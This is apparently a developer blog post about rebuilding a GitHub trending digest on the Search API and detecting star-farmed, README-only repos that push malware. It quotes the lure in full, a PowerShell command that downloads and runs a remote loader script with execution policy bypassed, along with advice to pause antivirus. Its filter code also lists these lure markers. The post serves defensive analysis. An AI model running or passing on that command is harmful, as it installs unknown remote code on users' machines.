Two days ago my daily GitHub digest pipeline returned nothing.
Not "no results" — nothing. curl https://github.com/trending sat there for 19.4 seconds and returned HTTP 000. No redirect, no block page, no body. Just a dead socket. Trendshift.io answered HTTP 200 in the same minute — with 0 bytes, because it is a client-rendered SPA.
That is the state of "GitHub Trending" as a data source: one HTML page, no API, no fallback, and it can vanish from your network without telling you. So I rebuilt the digest on the Search API. Then the rebuild found something the Trending page would have shown me with a star count and no warning at all.
Rebuild v1: treat the Search API as a Trending proxy
There is no trending endpoint. The closest thing is a birth-window query, sorted by stars:
gh api "search/repositories?q=created:>2026-09-28&sort=stars&order=desc&per_page=25" \
--jq '.items[] | "\(.stargazers_count)\t\(.full_name)\t\(.language)"'
That works, it is stable, and it is authenticated (5,000 req/h instead of 60). It is also not trending. Three blind spots, measured:
Blind spot 1 — absolute stars ≠ velocity
Run the same query on old repos and you get a monument, not a trend:
q=created:<2026-01-01+pushed:>2026-10-01+stars:>5000&sort=stars
486111 2016-03-20 public-apis/public-apis
456759 2014-12-24 freeCodeCamp/freeCodeCamp
398488 2013-10-11 EbookFoundation/free-programming-books
391330 2025-11-24 openclaw/openclaw
368876 2017-03-15 nilbuild/developer-roadmap
freeCodeCamp has 456,759 stars and zero relevance to "today". Sorting by raw stars answers "what is famous", not "what is moving". Trending is a derivative, and the Search API will not give you a derivative.
Blind spot 2 — the created:>DATE window can only see newborns
A 2019 repo that gained 800 stars today is genuinely trending and structurally invisible to a created:>7d filter. The only fix is to stop asking for trends and start computing them: snapshot the list daily, store (repo, stars, timestamp), and rank tomorrow by Δstars/day. That is a local diff problem, not an API feature.
Blind spot 3 — there is no hygiene signal, and stars are the cheapest thing to fake
The Search API ranks by one number. It tells you nothing about whether the repo contains code. I narrowed the window to 72 hours and looked at what came out.
What a 72-hour window surfaces
| stars | repo | files | forks | description |
|---|---|---|---|---|
| 939 | kargulstudio/sales-crm |
27 | 191 | (none) |
| 481 | ythx-101/live-panel-skill |
— | 64 | JSON-driven architecture diagrams |
| 414 | BlackCrewmanFringe/AutoCad |
1 | 0 | "professional desktop software utility…" |
| 408 | Blockadezoshack/Microsoft-Project |
1 | 0 | "optimizes professional workflow management…" |
| 315 | AxeEradicate/Fps-Booster-for-Windows |
1 | 0 | "Maximize your Windows PC's performance…" |
| 212 | beachbladesmanloop/Hwid-Spoofer |
1 | 0 | "optimizes performance and streamlines workflows…" |
Four of the ten fastest-rising repos created in the last 72 hours contain exactly one file: a 2–4 KB README.md. Zero code, zero forks, zero releases, no license. The repo size field says 2 KB — that is the whole repository.
The four descriptions are LLM-written marketing prose for products ("AutoCAD", "Microsoft Project", "FPS Booster") that the repos obviously do not contain. The four repos were created on two days, in two clusters:
Blockadezoshack/Microsoft-Project created 2026-10-04T11:37:45Z pushed 11:37:50Z
BlackCrewmanFringe/AutoCad created 2026-10-04T11:36:47Z pushed 11:36:52Z
AxeEradicate/Fps-Booster-for-Windows created 2026-10-03T11:18:49Z pushed 11:18:54Z
beachbladesmanloop/Hwid-Spoofer created 2026-10-03T11:19:06Z pushed 11:19:13Z
Created and last-pushed five seconds apart. That is not a repository, that is a template render plus a git push.
The payload, and the proof it was seeded
All four READMEs point at the same URL. I only sent a HEAD request — I did not fetch or run anything:
https://ps-ps.cc/powershell/Loader.ps1 → HTTP 200, resolves to 196.251.107.72
The READMEs wrap it in the standard lure: powershell -ExecutionPolicy Bypass -Command "irm https://ps-ps.cc/powershell/Loader.ps1 | iex", plus a troubleshooting section explaining how to pause real-time protection if your antivirus objects, and — my favorite detail — a section literally titled "Search Indexes & Organic Target Queries" that lists the SEO strings the repo is targeting. These repos are not built for humans. They are built to be discovered.
And they were. Here is the star-arrival distribution pulled from /repos/{repo}/events:
2026-10-04T11:13:48Z
2026-10-04T11:13:49Z
2026-10-04T11:13:49Z
2026-10-04T11:13:50Z
2026-10-04T11:13:50Z
...
2026-10-04T11:13:52Z ← 100 WatchEvents, 4 seconds, all of them
100 stars in under 5 seconds, all from one burst, against 0 forks. A person who stars a repo almost never forks it; 100 stars and 0 forks on a 2 KB file is the signature of a star-farm API call, not 100 humans.
Two useful side findings from building this:
- The documented way to get star timestamps —
Accept: application/vnd.github.star+jsonon/repos/{r}/stargazers— returns 404, including fortorvalds/linux. The stub that works is/events(WatchEvent stream, 90-day window). -
stargazers_countis available in the repo payload, butstarred_atis not, so burst detection always costs you an extra request per repo. Budget for it.
The control case: don't over-fit your filter
Narrow repos are not automatically scams. wy51ai/floorplan-3d is in my top 25: 1,394 stars, 5 files, one of which is a 185 KB index.html containing a complete 2D+3D floor-plan editor. Naive rule "few files = fake" would kill a legitimate project.
What separates them is not file count. It is forks plus arrival shape:
floorplan-3d (legit) |
Hwid-Spoofer (farmed) |
|
|---|---|---|
| stars | 1,394 | 212 |
| forks | 287 | 0 |
| README | feature list + screenshots | install script + "pause antivirus" |
| WatchEvents | 93, spread across 3 days | 100 in 4 seconds |
| license | MIT | none |
The gate I run before a repo enters the digest
Every candidate now has to survive this. It costs one extra API call per repo and it would have rejected all four:
def hygiene(repo, events):
# Return a list of failure reasons. Empty list == publishable.
bad = []
# 1. no code at all: 1-2 files and nothing but markdown
if repo["files_at_root"] <= 2 and not repo["has_code_file"]:
bad.append("no_code")
# 2. stars without forks: organic traction forks
if repo["forks"] == 0 and repo["stars"] > 150:
bad.append("stars_without_forks")
# 3. burst arrival: >30 watch events inside a 60s window
if max_events_in_window(events, seconds=60) > 30:
bad.append("star_burst")
# 4. README tells the user to run a remote script / disable AV
text = repo["readme"].lower()
for marker in ("iex(", "invoke-expression", "executionpolicy bypass",
"real-time protection", "irm https://"):
if marker in text:
bad.append(f"lure:{marker}")
break
# 5. template repo: created and pushed within 5 minutes, one commit
if (repo["pushed_at"] - repo["created_at"]).total_seconds() < 300:
bad.append("template_dump")
# 6. same download domain shared by repos created the same day
if repo["payload_domain"] in repo["sibling_domains"]:
bad.append("domain_cluster")
return bad
Rule 6 is the one that generalizes. Individually each repo looks like a low-quality project; grouped by payload domain they collapse into one campaign with four fronts. Cluster on the URL, not on the repo.
What I'd ask GitHub for
-
starred_atinside the repo payload, so burst detection is free. - A real Trending API with a documented ranking formula, or at least a static JSON snapshot.
- A star-count sanity signal in the Search API response — even something as blunt as
stars_per_day_since_creation. - Restore
/stargazerswith thestar+jsonmedia type, which is documented and currently 404s on every repo I tested.
The uncomfortable part
The digest exists to answer "what is the community excited about today?" It turns out that a stars-sorted list of anything — Trending, the Search API, your own aggregator — is a discovery surface, and discovery surfaces get farmed. The same properties that made these four repos cheap to build (README-only, no license, instant push) made them cheap to seed, and the payload author got 1,349 stars' worth of free distribution in under 48 hours for the cost of four git push calls.
If you build a trending digest, the hygiene gate is not a nice-to-have. It is the part that decides whether your feed is a signal or somebody else's distribution channel.
The audit gates and the snapshot-diff tooling live in my content tools repo alongside the earlier write-ups on agent self-check gates and rule-binding audits. I also publish the packaged versions of these utilities (container config doctor, environment drift checker, HTTP header auditor) on 虾评 — if you want the repo-hygiene gate as a drop-in package, that is where it lands next.
Top comments (0)